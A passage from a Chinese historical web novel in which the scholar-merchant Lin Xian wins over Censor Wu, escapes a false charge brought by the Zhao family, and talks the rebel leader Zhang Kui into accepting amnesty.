林闲略一思忖,继续部署思路清晰:“不过既然方向已明,姑娘可相机而动。在不暴露自身的前提下,可继续留意相关线索。尤其是赵按察使与京城赵王府之间的具体往来凭证、关键账目上的蹊跷之处、或是经手这些隐秘之事的核心人物名单。务求证据确凿一击必中,但务必注意安全!”
他再次强调安全,这种关怀比任何命令都更能收买人心。
“先生放心,如丝晓得轻重,定会见机行事。”
柳如丝郑重应下。
随即她脸上泛起一丝不易察觉的红晕,声音变得更柔:“先生也要多加小心!赵公子之前受此大辱,以他的心性恐不会善罢甘休。他父亲赵按察使那或许也会因此对先生有所留意,甚至……有所动作。”
“多谢姑娘提醒,林某自会留意。”
林闲微微一笑道:“跳梁小丑,伎俩有限,翻不起太大风浪。姑娘不必过于为我担忧。”
一时间,屋内陷入了短暂的沉默。
烛火微微摇曳,在两人之间投下暧昧的光影。
孤男寡女深夜共处一室,空气中弥漫着药香、女儿香以及旖旎交织的气氛。
一个是风华绝代、心怀感激且命运系于对方一身的暗探花魁,一个是气度非凡、智珠在握的“才子主人”。
此情此景,难免引人遐思。
柳如丝微微垂首,肌肤上悄然泛起一层淡淡的粉色,呼吸也略显急促起来。
林闲也能清晰闻到她身上传来的体香,心中亦不免泛起一丝涟漪。
然而苏元那双清澈含笑、带着聪慧的眼眸瞬间在他脑海中浮现,如清泉浇头让他立刻收敛了心神,目光恢复清明。
他轻轻咳嗽一声,打破略显尴尬的沉默道:“夜色已深,姑娘奔波劳顿,还需早些回去歇息以免惹人疑心。路上,务必小心。”
柳如丝眼中闪过一丝落寞,但很快掩饰过去。
聪慧如她如何不知,林闲在乎的是听雪小筑那位。
柳如丝缓缓站起,盈盈一礼道:“遵先生令!先生,也请早些安歇。”
说罢她悄无声息飞出窗口,融入月色中。
林闲走到窗边,看着那抹消失的倩影,目光深邃。
今夜之后,他与赵王之间的暗战无疑进入了一个更危险的阶段。
但风险与机遇并存,柳如丝这步暗棋若能运用得当,或许将配合影刹一起成为撬动大局的支点。
“赵王…太子….美人….”
林闲轻轻一笑,关上了窗户。
很快屋里传出悠悠的吉他伴歌:“月色美,佳人醉,我却无人相依偎…..”
夜色,还很长。
第七十章 湖畔偶遇吴御史:论开源与节流
第二日下午,省城应酬基本完事。
林闲决定次日启程返回江陵,专心备考秋闱。
临行前这日傍晚,他独自一人信步来到省城西郊著名的“碧波湖”畔散心。
这既是放松连日来紧绷的心神,也是想最后感受一番省城的氛围。
时近黄昏,夕阳熔金,将万顷碧波染上一层瑰丽的橙红。
清风徐来,水波不兴,湖畔垂柳依依,景色令人心旷神怡。
林闲沿着湖岸缓行,享受着这份难得的宁静。
行至一处游人罕至、较为僻静的柳荫下,他忽见一位身着普通青衫、气质沉静儒雅的中年文士,正独自凭栏远眺湖光山色。
那文士眉宇间带着一丝疲惫与郁结,似乎心事重重。
林闲觉得此人极为面熟,略一凝神细思,心中不由一惊——竟是当初在江陵府主持他公开复核、一言九鼎的钦差御史吴大人!
吴御史显然是微服出行,身边只跟着一位默不作声的老仆。
林闲心中念头急转:此时上前直接相认未免唐突,可能打扰对方清静。但若装作不识,就会错过与这位朝廷大员且对自己有赏识之恩的贵人再次结缘的机会,又实在可惜。
他略一沉吟,眼中闪过一丝睿智的光芒,计上心头。
他并未直接上前,而是不动声色走到离吴御史不远处栏杆旁,仿效对方凭栏而立,目光欣赏着湖景。
随后他自然地从怀中取出一个精致小巧的琉璃瓶,正是“闲雅阁”高端线产品——便携装“清心凝神露”(核心为提神醒脑的薄荷精油与冰片)。
林闲拔开以蜜蜡封存的塞子,任由那极其清冽、提神醒脑的独特香气,随着湖风淡淡飘散开……
这香气与众不同,穿透力极强却又毫不甜腻,带着一种文人雅士偏爱的清冷书卷气。
果然,正沉思的吴御史被这香气吸引,他鼻翼微动侧目望来,见到林闲先是一怔。
待看清对方面容后,眼中闪过一丝讶异和回忆,显然也认出了这位给他留下深刻印象的“一等秀才”。
林闲适时地转过身,脸上恰到好处地露出“意外偶遇”的惊喜与恰到好处的恭敬。
他上前几步从容拱手行礼,声音清朗道:“晚生林闲,不知吴大人在此。冒昧打扰大人清静,还望大人海涵。”
林闲姿态不卑不亢,既表达了尊敬,又保持了士子的风骨。
吴御史见已被认出便也不再掩饰,脸上露出一抹温和的笑容抚须道:“原来是林案首,不必多礼。本官亦是偷得浮生半日闲,在此静观湖色。不想能在此偶遇故人,亦是缘分。”
他的目光落在林闲手中那小巧的琉璃瓶上,带着几分兴趣问:“此香清冽不凡,沁人心脾,似是薄荷又别有韵味,可是林案首的巧思之作?”
林闲顺势双手将小瓶奉上,言辞恳切道:“大人明鉴。此乃晚生闲暇时琢磨出的清心凝神露,取薄荷、冰片等物提纯精制,有清心火、驱烦忧、醒脑提神之效。晚生见大人眉间似有倦色,湖风虽爽亦需提神。此物虽陋若能为大人稍解疲乏,便是它的造化了。大人若不嫌弃敬请笑纳。”
这番话既说明了物品功效,又表达了关切之情,自然而不谄媚。
吴御史闻言,眼中赞赏之色更浓。
他接过小瓶置于鼻下轻嗅,顿觉一股清凉气息直冲天灵盖,连日来审阅卷宗、思虑朝务带来的头脑昏沉之感竟一扫而空,精神为之一振!
他不禁脱口赞道:“果然妙品!提神醒脑,立竿见影!林生不仅才学出众,于这格物致用之道,亦是匠心独运,难得,实在难得!”他对林闲的好感度瞬间飙升。
很快,两人便借此话题轻松聊开。
林闲从容不迫,从香料配伍的君臣佐使原理,谈到气味对心神的影响,再引申到养生之道中的“静心养气”。
言谈间引经据典,又结合自身实践,说得深入浅出,甚为投机。
吴御史听得频频点头,心中对林闲的评价又高了一层。由此看来此子的确不是死读书之辈,而是真正能将学问用于实际生活的通透之人。
聊得兴起,林闲又趁机从随身携带的布囊中,取出几块用油纸精心包裹、印有雅致竹纹的最新配方香皂,以及一个小巧的白瓷瓶(防晒修护乳样品)赠予吴御史,言明其清洁护肤与防晒修护的用途。
见吴御史有些犹豫,他连忙推介道:“晚生听闻大人为朝廷栋梁,常需不辞辛劳,奔波于各地。此等微末之物虽不值一提,或可于旅途奔波中稍解风尘仆仆之乏,略护君子之仪。聊表晚生对大人清风正气、为国操劳的敬意。”
吴御史听闻林闲所赠并非寻常金银俗礼,而是贴心、实用又雅致之物,恰好契合他这等清流官员的身份和需求。
他心中大为受用,觉得此子心思细腻,体贴入微且不落俗套。
吴御史含笑收下,谢道:“林生,有心了。”
眼见日落西山暮色渐起,吴御史谈兴正浓,便主动邀约道:“今日与林生一谈,甚是投缘。天色已晚,前面有家望湖楼酒肆,颇为清雅,林生若无要事,不如同去小酌几杯,边吃边聊?”
林闲心中暗喜,知道这是进一步加深关系的绝佳机会,自然从容应允:“蒙大人不弃,晚生荣幸之至。”
二人遂移步望湖楼,选了一处临窗的雅间。
酒
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过三巡,菜肴精美。
窗外湖月渐升,气氛愈发融洽。
吴御史放下酒杯,神色稍正,开始了真正的考校:“林生才识过人,老夫甚为欣赏。如今朝堂之上,开源节流之策争论不休,不知林生对此,有何高见?”
这个问题紧扣时政,极具分量。
林闲知是关键,略一沉吟并未直接引经据典,而是从容不迫举了两个生动的比喻:“晚生浅见,开源与节流犹如人之呼吸,一呼一吸缺一不可。然学生以为,节流如同节食,固然能解一时饥荒让体内存粮消耗得慢些,但若只节流不开源,终有坐吃山空之日,人也会日渐消瘦。而开源则如开荒垦田,虽初期筚路蓝缕,辛苦异常,但一旦田亩开辟禾苗生长,则能源源不断产出粮食,使家国仓廪充实,此乃长久兴盛之本。”
吴御史眼中精光一闪,身体微微前倾赞道:“此言甚新!细细道来!”
林闲受到鼓励,思路更清晰。
他略一整理思绪,结合实例阐述:“譬如朝廷如今头疼的漕运损耗问题。若只一味强调节流,严查惩处,固然能暂时压低账面损耗,但若漕船依旧老旧迟缓,河道依旧淤塞难行,吏治依旧弊端丛生,这‘损耗’如同堤坝渗水,堵住这里,那里又漏,防不胜防,成本高昂。反之,若肯投入,以开源促节流……”
林闲见吴御史听的两眼放光,这才顿了顿继续举例:“比如拨款研制更坚固快捷的新式漕船,大规模疏浚关键河段,改革漕运管理制度,明确权责严明赏罚。此举初期看似花费巨大,但长远看漕运效率大增,运输时间缩短,货物损耗自然大幅下降,朝廷税收反而增加,百姓负担或可减轻。此乃磨刀不误砍柴工之大智慧!治国亦然,与其锱铢必较,处处设限,不如营造一个公正、高效的环境,鼓励农桑,振兴工贾,使天下财富如活水,源源不断,如此,国库何愁不充?百姓何愁不富?”
林闲这一番论述,既有高度比喻又有具体实例。逻辑清晰见解深刻,直指问题的核心,将“开源”的重要性提升到了战略层面。
吴御史听罢,竟忍不住抚掌轻拍桌面,赞叹道:“妙啊!以开源促节流,磨刀不误砍柴工!林生此论务实而深远,直指要害。将开源提升至战略高度,非那些只知空谈节俭、畏缩不前的迂腐之辈可比。更非那些只会斤斤计较、锱铢必较的庸吏所能见!甚好!”
他看向林闲的目光已不仅仅是欣赏,更是带着一种发现璞玉的欣喜与期许。
这次湖畔偶遇,无疑让林闲在这位朝廷重臣心中,留下了极其正面的印象。为未来的仕途,悄然铺下了一块坚实的基石。
第七十一章 御史作证,打脸官二代爪牙
望湖楼一夜长谈,林闲与吴御史相谈甚欢,直至亥时方散。
吴御史对林闲的学识、见解乃至为人处世都极为欣赏,已隐隐视其为可造之材,甚至忘年之交。
两人约定次日再聚,详谈一些时务策论。
次日清晨,天刚蒙蒙亮。
林闲下榻的悦来客栈,还沉浸在一片宁静之中。
突然,一阵粗暴的砸门声和喧哗如同冷水泼入油锅,骤然炸响!
“开门!快开门!按察使衙门拿人!”
“林闲!滚出来!”
几名如狼似虎、腰佩铁尺锁链的衙役,在一个身着绸衫、满脸横肉的赵府管家带领下,气势汹汹地踹开了林闲客房的门。
客栈掌柜和伙计吓得面如土色,远远躲着,不敢靠近。
那赵管家三角眼一瞪,指着刚刚披衣起身的林闲厉声喝道:“林闲!你这斯文败类!昨夜酒后无德,在湖畔酒肆欺辱卖唱的歌姬小翠儿,致其身心受创,现在苦主状纸在此!”
他抖开一张墨迹似乎都未干透的状纸,上面按着个红手印,“人证物证俱在!还不快束手就擒,跟老子回衙门受审!”
这一顶“欺辱歌姬、伤风败俗”的大帽子扣下来若坐实了,林闲别说秋闱,现有的秀才功名都可能被革除,身败名裂。
客栈里其他被惊醒的客人纷纷探头张望,指指点点,议论纷纷。
林闲心中雪亮。
这是赵公子和他老子按察使赵宪的报复来了,手段卑劣意图一击致命。
他临危不乱,甚至慢条斯理整理了一下衣袍,这才抬眼看向那管家,嘴角甚至还挂着一丝若有若无的嘲讽:“这位……管家?你口口声声说我欺辱歌姬,不知是何时?何地?有何人证?除了这张不知从何而来的状纸,可还有别的物证?那苦主歌姬,现在何处,可敢当面对质?”
他字字如刀,直戳对方的漏洞。
赵管家被问得一噎,他本就是奉命来强行拿人制造**,哪有什么真凭实据?
他恼羞成怒,蛮横道:“证据?到了衙门大刑之下,自然有你招供的时候!少废话,给我拿下!”
衙役们闻言,就要上前锁人。
“放肆!”
林闲猛地一声断喝,声音竟将那几个衙役震得一滞!
他目光锐利如剑,扫过众人道:“我乃朝廷钦赐一等秀才,见官不跪!尔等无凭无据,仅凭一面之词就敢擅锁有功名的士子?按察使衙门的规矩,何时变得如同市井泼皮绑票一般了?尔等今日敢动我一下,明日这构陷士子、目无王法的罪名,不知赵按察使担不担得起!”
这一顶大帽子反扣回去,合情合理气势十足!
衙役们面面相觑,一时不敢妄动。
他们只是奉命行事,若真闹大了,上面推个替罪羊出来,倒霉的还是他们这些小卒子。
赵管家见势不妙,色厉内荏地叫道:“林闲!你休要狡辩!你说你昨夜与人饮酒,哪个友人?谁能给你作证?若是无人作证,你就是心虚!”
就在这剑拔**张之际,一个低沉、平静,却蕴含着不容置疑威严的声音,自客房门口响起,清晰地传入每个人耳中:
“本官,可以作证。”
众人骇然回头。
只见钦差御史**远吴大人,不知何时已悄然立在门口。
他今日依旧身着常服,但面色沉静,不怒自威,那双平日温和的眼睛此刻寒光凛冽,只是淡淡一扫那几名衙役便觉腿肚子发软,差点跪下去。
赵管家却不认识吴御史,见他衣着普通(微服),只当是哪个不开眼的多管闲事的老书生。
加之在主子面前夸下海口,此刻骑虎难下,他竟不知死活地呛声道:“你?你算个什么东西?也敢管按察使衙门的闲事?识相的赶紧滚开!否则连你一块锁了!”
“哦?”
吴御史嘴角勾起一抹冰冷的弧度,缓缓从怀中取出一面紫檀木腰牌,举到赵管家眼前。
声音不高,却如同惊雷炸响在每个人心头:“你看本官,算是个什么东西?”
那腰牌之上,“钦点巡按御史”六个鎏金大字,在晨曦微光中,灼灼刺眼!
“钦……钦差御史大人?!”
赵管家如同被掐住脖子的公鸡,眼珠瞬间凸出。他脸上的横肉剧烈抖动,血色霎时褪尽。
他双腿一软,“扑通”一声瘫跪在地,磕头如捣蒜,语无伦次地哭嚎:“御史大人饶命!小的有眼无珠!小的该死!小的不知是大人您啊!小的……小人是奉……奉……”他吓得魂飞魄散,哪里还敢说出赵宪的名字。
那几个衙役更是早已面无人色,匍匐在地,连大气都不敢喘。
吴御史看都懒得看他们一眼,目光转向林闲,语气缓和了些许,却带着不容置疑的定论:“林生,昨夜你与本官在望湖楼饮酒
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论事,直至亥时三刻,是本官亲自送你回的这悦来栈。期间你可曾离开过本官视线?可曾见过什么歌姬?”
林闲拱手,从容应答:“回大人,学生昨夜一直与大人在一起,聆听教诲受益匪浅,直至大人亲自送学生至客栈门口,何来时间与闲情去欺辱什么歌姬?此乃子虚乌有、恶意构陷之事!”
吴御史冷哼一声,目光如冰刀般扫向地上抖如筛糠的赵管家一行人:“听见了?尔等受人指使,诬陷良善,构陷有功名的士子,更是污蔑本官作伪证!该当何罪?!”
“大人饶命!大人饶命啊!”赵管家等人只剩下磕头求饶的份。
“滚!”
吴御史懒得与他们多费口舌,一声低喝。
“回去告诉你们背后那人!若要人不知,除非己莫为!此事本官记下了,定会查个水落石出。若再敢有下次,休怪本官不讲情面!”
赵管家和衙役们如蒙大赦,连滚带爬,狼狈不堪地逃出了客栈,只恨爹娘少生了两条腿。
客栈内外,一片死寂,随即爆发出阵阵压抑不住的惊呼和议论。
所有人看向林闲的目光,充满了无比的震惊和敬畏!
这位林案首,昨夜竟然和钦差御史大人饮酒畅谈至深夜?
关系铁到御史大人亲自为他作证,怒斥按察使衙门的人!这背景得多硬啊!
林闲走到吴御史面前深深一揖,情真意切:“学生多谢大人主持公道!洗刷冤屈!”
吴御史伸手扶起他,叹了口气,眼中却带着欣赏和一丝怒意:“林生受惊了。看来这省城,魑魅魍魉不少。赵家父子其心可诛,其行卑劣!此事,绝非罢休!”
他这话,已是将矛头直指按察使赵宪。
经此“捉奸”闹剧,林闲不仅毫发无伤,反而因祸得福,与钦差吴御史的关系彻底公开,且更加牢固。
吴御史在众目睽睽下为他撑腰,无异于一道护身金符!
而赵家偷鸡不成蚀把米,不仅没能扳倒林闲,反而彻底得罪了手握监察大权的钦差御史,惹上了一身腥骚。
消息传开,赵公子再次成了全城笑柄,其父赵宪的官声,也蒙上了一层阴影。
林闲知道,与赵家的矛盾已彻底公开化白热化。
但此刻他心中并无畏惧,反而更加沉稳。
秋闱之路,固然波澜云诡。
但他手中的筹码,也越来越多了。
第七十二章 风云突变:邻府叛乱,战略预警
林闲自省城载誉归来,不仅“一等秀才”的光环加身,更与钦差御史**远建立了牢固的联系,可谓春风得意。
他并未沉溺于虚名,而是立刻将全部精力投入到闲雅阁产业扩张中。
香皂、防晒霜、便携香水乃至新研发的牙刷牙粉系列,都成为了市面上炙手可热的抢手货。
作坊日夜赶工依旧供不应求,银钱如流水般涌入,林家上下可谓红红火火,族务在林闲的整顿下亦是井井有条。
这日午后,窗外阳光明媚。
林闲正于书房内聚精会神地审阅着香皂作坊的扩建图纸,谋划着将产能再提升一个台阶,进一步抢占市场。
他嘴角带着一丝运筹帷幄的笑意,一切似乎都在朝着最好的方向发展。
然而天有不测风云。
就在这片祥和之下,一名家仆悄然入内,神色凝重呈上一封以火漆密封、标记着“加急”字样的信件。
林闲瞥见落款处熟悉的“苏元”二字,心知必有要事,当即放下图纸,净手后拆开信件。
信纸展开,苏元那清秀却略显急促的笔迹映入眼帘。
开篇几句寒暄过后,信中的语气竟透着一股难以掩饰的轻松,甚至带着几分快意:
“闲先生钧鉴:一别数日,妾思念甚切。然近日北方战事胶着,江南之地亦起波澜,有一事不得不告于先生知晓。永昌府突发民变,有悍匪号混天蛟张魁者,聚众数千,竟攻占县城,将赵王麾下那素来跋扈、鱼肉乡里的守备李莽及其爪牙知府王焕,一并诛杀!此二人恶贯满盈,在地方上早是**人怨,今番授首,实乃天理昭昭,大快人心!赵王此番可谓颜面扫地,痛失臂膀,于太子殿下而言,无异于去除一劲敌,殿下闻之亦大喜,言道此乃天助我也……”
苏元字里行间,洋溢着整个太子一系,对老对手赵王吃此大亏的幸灾乐祸之情,仿佛这是一场值得庆祝的胜利。
然而林闲读至此处,脸上的轻松瞬间消失,眉头非但没有舒展,反而骤然紧锁。
他脸上不见半分喜色,目光迅速扫过后续关于匪势规模、占据县城以及朝廷可能调兵遣将的粗略情报后,猛地将信纸拍在书案上,发出“啪”的一声脆响!
他深吸一口气,声音中带着罕见的冷厉:“糊涂!隔岸观火,不知引火烧身之危!太子身边,难道尽是此等短视之辈?”
与此同时,千里之外的京城,赵王府。
书房内,气氛压抑得如同暴风雨前的死寂。
赵王脸色铁青,手中紧攥那封来自江南的密报。
他面前几位心腹谋士垂首肃立,大气不敢出。
“废物!都是一群废物!”
赵王将密报摔在地上,胸口剧烈起伏吼道:“李莽这个蠢货,王焕这个无能之辈,竟被一群泥腿子给宰了!本王的颜面何存?在江南的布局,就此被打乱!”
他的声音因愤怒而颤抖,眼中满是惊怒交加。
永昌府是他经营江南的重要支点之一,李莽和王焕更是关键人物,如今一朝覆灭不仅损失惨重,更让他成了朝堂上的笑柄!
惊慌噬咬着他的心,他首先想到的是太子一系会如何借此攻讦他,陛下会如何看他?
就在这时,下首一位一直沉默不语、留着络腮胡的首席谋士王先生,忽然抬起了头,眼中闪过一丝精光,迟疑地开口:“王爷,此事……或许还有一个变数。”
赵王猛地看向他:“变数?什么变数?”
王谋士捋了捋胡须,缓缓道:“王爷可还记得那个江陵府的林闲?此子虽与太子系交往甚密,但观其言行,无论是格物致用,还是献策安民,每每皆以‘实务’和‘民本’为先,开口闭口常是‘利国利民’。此次永昌民变,匪患肆虐,最终受苦的是百姓,动摇的是国本。以林闲此番心性……他若知此事,会如何看?又会如何做?”
赵王闻言,瞳孔微微一缩。王谋士继续道:“他会不会……超越党派之争,站在‘平叛安民、维护大局’的立场上?甚至……会不会愿意献上某些‘奇策’,以助朝廷迅速平定乱局?毕竟,若乱局扩大,他在江陵的基业也必然不保。于公于私,快速平乱都符合他的利益。”
这个大胆的猜想,让赵王愣住了。他从未从这个角度思考过。在他根深蒂固的党争思维里,林闲是潜在的敌人,是太子那边的人。可如果……如果这个林闲,真如谋士所言,其行事逻辑并非完全依附于党派,而是有一套基于“实务”与“大义”的准则呢?
“他会帮本王?”赵王下意识地喃喃自语,随即又猛地摇头,脸色阴晴不定,“不可能!他屡次折辱我儿,又与苏元交好,怎会助我?”但内心深处,一个不确定的念头却悄然滋生:如果平叛成功,首功自然是我这个主张平叛、调度有方的王爷,他林闲若真能献策,最多分些功劳,于大局无损,反而能彰显本王“唯才是举”、“以国事为重”的胸怀……
可是,他真会这么做吗?
赵王心里彻底没了底。
他发现林闲竟成了一个他无法用常理揣度,甚至可能影响江南棋局走向的变数。
这种失控感,让他更加烦躁不安……
视线回到林闲书房。
此刻林闲没有丝毫耽搁,立刻铺开上等宣纸,取过狼毫给苏元回信。
他的字迹此刻力透纸背,带着急迫与警示:
“苏小姐台鉴:信悉,内容惊心。闻殿下见永昌之变而心生喜悦,恕林某直言,此等反应,犹如见邻家起火而拍手称快,却不知火借风势,下一刻便要烧及自身屋舍!实乃只见树木,不见森林,甚为不智!危险至极!”
他笔锋沉凝,如同一位战略大师在沙盘前推演,条分缕析地指出了太子一系想法的致命短视:
“第一害,唇亡齿寒,池鱼之殃!”他写下醒目的小标题,“太子岂不知永昌府与吾等所在的江陵府,毗邻而
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居犹如唇与齿、皮与**?唇亡则齿寒,皮之不存,**将焉附!那混天蛟张魁如今占据最大县城,看似只在永昌。然匪患若不能以雷霆万钧之势迅速平息,反而成燎原之势,乱兵流寇四散,第一个被火舌舔舐被溃兵冲击的,便是我们江陵!届时商路断绝,田庄被毁乱民四起,我等辛苦经营的产业、积累的财富乃至身家性命,顷刻间便能化为乌有。太子殿下治下若出现如此大乱,治理无方、安抚不力的滔天指责必将如潮水般涌向东宫!此乃自毁长城之举!”
接着,他笔锋更厉,剖析更深层的**风险,直指赵王可能的后手:
“第二害,授人以柄,资敌之刃!”他继续写道,“太子以为赵王损失一二爪牙便是痛失臂膀?大错特错!此于雄踞北地、树大根深的赵王而言,不过如同壮汉被削去一片指甲,虽痛却难伤根本!反之,他却可借此天赐良机,大肆渲染太子殿下督军不力、江南吏治败坏以致民变。他甚至可以冠冕堂皇地奏请陛下,以平叛安民、稳定江南为名,请求增派其嫡系兵马,或让其亲信大将总揽平叛事宜。这哪里是替殿下去除劲敌?这分明是亲手将一把能刺穿东宫心脏的利刃,磨利了递到敌人手中。是授人以柄,自掘坟墓!届时赵王势力借平叛之名,长驱直入江南腹地,殿下在江南的根基,还能保全几分?”
最后,从战略家的视角提出对策:
“当务之急,绝非隔岸观火幸灾乐祸。而应是如同救火队员一般,极力主张并协助朝廷,以最快速度最小代价平息事态。必须将这场火势控制在永昌一隅,绝不能让其蔓延开来,殃及我等池鱼。并且在此过程中,我等更应设法争取主动,或可暗中布局,设法将平叛的主导权争取过来,至少不能让赵王的人插手太多,甚至……若能借此机会安**们的人,整顿永昌乃至周边吏治,方是化危机为转机之上上策。望小姐速将此中利害,原原本本、一字不差禀明殿下。切不可因小失大,贻误战机,铸成大错!”
信件,以最快的加急方式送出。
林闲掷笔于案,墨点溅开犹如他此刻波澜起伏的心境。
他深知必须立刻点醒尚在沾沾自喜、看不清大局的太子一系,否则后果不堪设想。
他站起身走到窗前,遥望着南方永昌府方向,眉头深锁。
阳光依旧明媚,但他仿佛已能看到天边隐隐泛起的烽烟。
眼前的宁静与红火,如同建立在沙滩上的城堡,随时都可能被南边那道突如其来的惊涛骇浪吞噬。
“太子,希望你这封信,能起到当头棒喝之效。”
林闲喃喃自语,眼中闪烁着冷静与决断的光芒。
“若东宫连这点远见都没有,那这艘船……恐怕也非久留之地。”
这一刻,林闲展现出的是宏大格局与深谋远虑,他将眼前的危机看得透彻,并已经开始思考如何反客为主,将这坏局,变成一盘活棋!
第七十三章 深入虎穴
林闲那封警示信,果然起到“当头棒喝”之效。
苏元览信后惊出一身冷汗,立刻意识到问题的严重性,将其火速禀明太子。
太子虽非庸主,醒悟过来后亦是后怕。
但永昌府毕竟是赵王势力范围,他若直接插手平叛名不正言不顺,极易授人以柄,一时苦无良策。
与此同时,赵王在京城王府中已是暴跳如雷!
盛怒之下,他决意派出麾下最擅暗杀的“暗影卫”。
由副统领影刹带队执行“斩首”计划,誓要取那“混天蛟”张魁的项上人头,以血腥手段迅速平息叛乱,挽回威严!
此令一出,被派去执行任务影刹心中大急。
她深知暗杀即便成功,群龙无首的匪军必陷入疯狂。
届时永昌府必将陷入更惨烈的血雨腥风,无数百姓遭殃且战火极可能蔓延至林闲所在的府县,其基业也将毁于一旦!
影刹不得已冒险动用紧急渠道,将这一消息火速传递给了林闲。
林闲闻讯眼中寒光一闪,拍案而起:“看来还得老子亲自下场!”
他当机立断,一边让影刹设法拖延暗杀小队的行程,一边亲自修书通过影刹渠道直呈赵王。
在这封信中,林闲并未因对方是政敌而冷嘲热讽。
反而站在“平叛大局”的高度,冷静分析利弊:“王爷明鉴,暗杀虽快然如扬汤止沸。匪首毙命,徒使数千群匪成溃穴之蜂,报复四起后永昌必成焦土。王爷失地损兵之责,恐更难辞。届时太子一系必以此大做文章,斥王爷剿匪无能,激变有余,王爷纵斩匪首亦失圣心民心,得不偿失。”
接着他笔锋一转,提出了一条“先礼后兵,剿抚并用”之策:“学生不才愿借殿下之力冒险一试,潜入匪巢陈说利害,劝那张魁归降。若成则可兵不血刃,保全城池百姓,王爷亦可得招抚有功之美名。若不成再以重兵剿之,亦不失仁义且师出有名。”
赵王接到这封意料之外的密信,心情极为复杂。
他捏着信纸,在书房内踱步良久。
一方面,他对林闲这个屡次让他难堪的“**”深恶痛绝,极不信任。
但另一方面,信中分析句句在理,直指他“暗杀”计划的致命隐患,且林闲主动请缨深入虎穴的胆识,也让他暗自心惊。
“此子……究竟是何用意?真为国为民?还是想借此机会,为太子在永昌安插势力?”
他心中疑虑重重。
就在这时,那位络腮胡首席谋士再次上前一步,拱手低声道:“王爷,容臣再进一言。”
赵王停下脚步,锐利的目光扫向他:“讲!”
王谋士不疾不徐道:“王爷,此前臣曾言林闲此子行事,常出乎党派之见,而重于实务与大局。观此信其言切中实弊,全然就事论事并未借此攻讦王爷。反是为平叛大局、乃至为王爷的声誉得失着想。此其一。”
他略顿一顿,见赵王凝神在听,继续道:“其二他甘冒奇险,亲自潜入虎穴劝说。成则叛军俯首,乱局速定,首功仍在王爷(毕竟是在王爷辖地由王爷同意招安);若败甚至其死于乱军之中,于王爷而言不过折一**羽。此举,于王爷实有百利而无一害。”
见赵王不住点头,王谋士露出笑容继续劝:“其三,影刹统领乃我方心腹,由她‘保护’监视,林闲纵有异动亦难逃掌控。王爷,此乃风险极低而潜在收益极高之策。当此局势纷乱之际,用人不妨……大胆一些,或可收奇效。”
赵王听完这番分析,紧锁的眉头稍稍舒展。
络腮胡谋士的话句句说在了点子上,尤其是“首功在王爷”和“风险极低”两点,打消了他最大的疑虑。
他沉吟片刻,终于拍板同意一试。
但严令影刹必须全程“贴身保护”林闲。
于是,一场惊心动魄的潜入行动就此展开。
影刹凭借出神入化的轻功和潜伏技巧,带着乔装改扮成游方郎中的林闲,悄无声息潜入了“混天蛟”张魁盘踞的县衙大堂。
那张魁乃一虬髯豹眼的彪形大汉,性情暴躁如火,对官府恨之入骨。
见影刹带来一个看似文弱的“郎中”说要给众人治病,本欲厉声令手下砍了。
不料林闲却毫无惧色,反而哈哈一笑。
他无视堂上气氛,上前几步,随意一拱手朗声道:“张大王!在下今日非为治病而来,乃为救大王和您麾下这数千兄弟的性命而来!”
张魁闻言怒极反笑:“放**狗屁!老子如今占山为王,大碗喝酒大块吃肉,快活似神仙!需要你这酸儒来救?”
林闲不慌不忙,竟自顾自拉过一张太师椅坐下。
他翘起二郎腿,那姿态不像深入虎穴的说客,倒像是来茶馆听曲的闲人。
林闲扫视一圈握紧刀把的山贼们,如同说书人般侃侃而谈:“大王可知,您如今这处境,好比那骑驴找驴——晕头转向,自以为得计,实则已入死局!”
“哦?”这古怪的比喻让张魁一愣,怒气稍减,生出几分好奇。
“您看啊,”林闲掰着手指头,如数家珍,“您当初杀官是为何?不过是为出口恶气,为弟兄们找条活路对吧?”
张魁哼了一声,算是默认。
“可如今呢?”林闲话锋一转,声音提高,“您困守这孤城,外无援兵内粮草日蹙。同时朝廷大军正在集结,您这就好比那钻进了风箱的老鼠——两头受气,进退无门。城内粮草还能撑几天?弟兄们的妻儿老小怎么办?朝廷这次派的可是边军精锐,您这几千号缺乏训练的兄弟,跟人家硬碰硬,那不是拿着鸡蛋碰石头——自不量力,自取灭亡嘛!”
这一连串生动又扎心的歇后语,说得张魁和周围头目们脸色发白,冷汗直流。
林闲见状继续加码,直指核心道:“再说了,大王您以为
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杀了李莽、王焕那两个狗官就天下太平了?错!这官场好比韭菜地,割了一茬上面还会派一茬,说不定更贪。其根源不在那几个小虾米,而在上面的根子烂了。您在这儿拼死拼活,不过是给后面来的新贪官腾地方、立威名,您和弟兄们流的血,最终便宜了谁?何苦来哉?”
张魁被说中心事,脸色变幻间语气软了下来:“那……依先生之见,该当如何?总不能叫老子束手就擒吧?”
林闲微微一笑,抛出了他精心准备的“招安2.0”方案:“简单!咱不玩这占山为王迟早被剿的老套戏码了,换个新玩法,叫接受改编,曲线救国!”
“您带着弟兄们,接受朝廷招安。名义上归顺,实则保全实力。朝廷给您个守备、团练使之类的官职,您就名正言顺掌管这支队伍驻扎本地。一来弟兄们有了正式军饷,家小有了保障,从此洗脱贼名。二来您成了官军更能保护乡里,暗中盯着那些狗官,他们再敢乱来您就有理由收拾他们。这叫披着官皮办自家事,比您现在硬顶着干高明百倍!”
“再者,”林闲压低声音,抛出一个重磅诱饵,“不瞒大王,太子殿下素来仁德,最是关注民生吏治。若您此番归顺,乃是弃暗投明,殿下必然知晓。将来若有机会清算本地吏治,您便是拨乱反正的功臣!这岂不是比现在玉石俱焚、身背骂名强过千倍万倍?”
林闲一番话,晓之以理、动之以情、诱之以利,将“投降”策划包装成了充满希望的“战略转型”大项目。
张魁被彻底说动,他与几个心腹头目紧急商议后最终拍板笑道:“好!先生快人快语,说得在理。我张魁和兄弟们,就信先生一回!接受招安!”
与此同时,京城东宫。
太子虽采纳了林闲的建议,主张招抚,但其身边一位深受宠信、面相阴柔的谋士却低声进言:“殿下,林闲此子虽有急智然其与赵王暗通款曲,又擅作主张深入险地,其心难测啊。此番若招安成功,其在永昌的声望必然大涨,恐非朝廷之福……”
太子闻言,眼中闪过一丝阴霾,随即淡淡道:“且看结果再说。”
影刹在一旁目睹林闲深入虎穴、巧舌如簧、最终说服群匪的全过程,心中震撼无以复加。
她看着林闲那淡定自若、智珠在握的身影,眼中充满了难以言喻的敬佩与折服。
自己跟的这位主人的谋略与口才,简直深不可测!
消息传回,赵王得知林闲竟真的兵不血刃说服了张魁。
在震惊之余,心情更是复杂难言。
而太子得知消息虽喜忧参半,但对林闲的忌惮,也在那奸臣的谗言下悄然滋生。
林闲此举,一举平定永昌之乱。
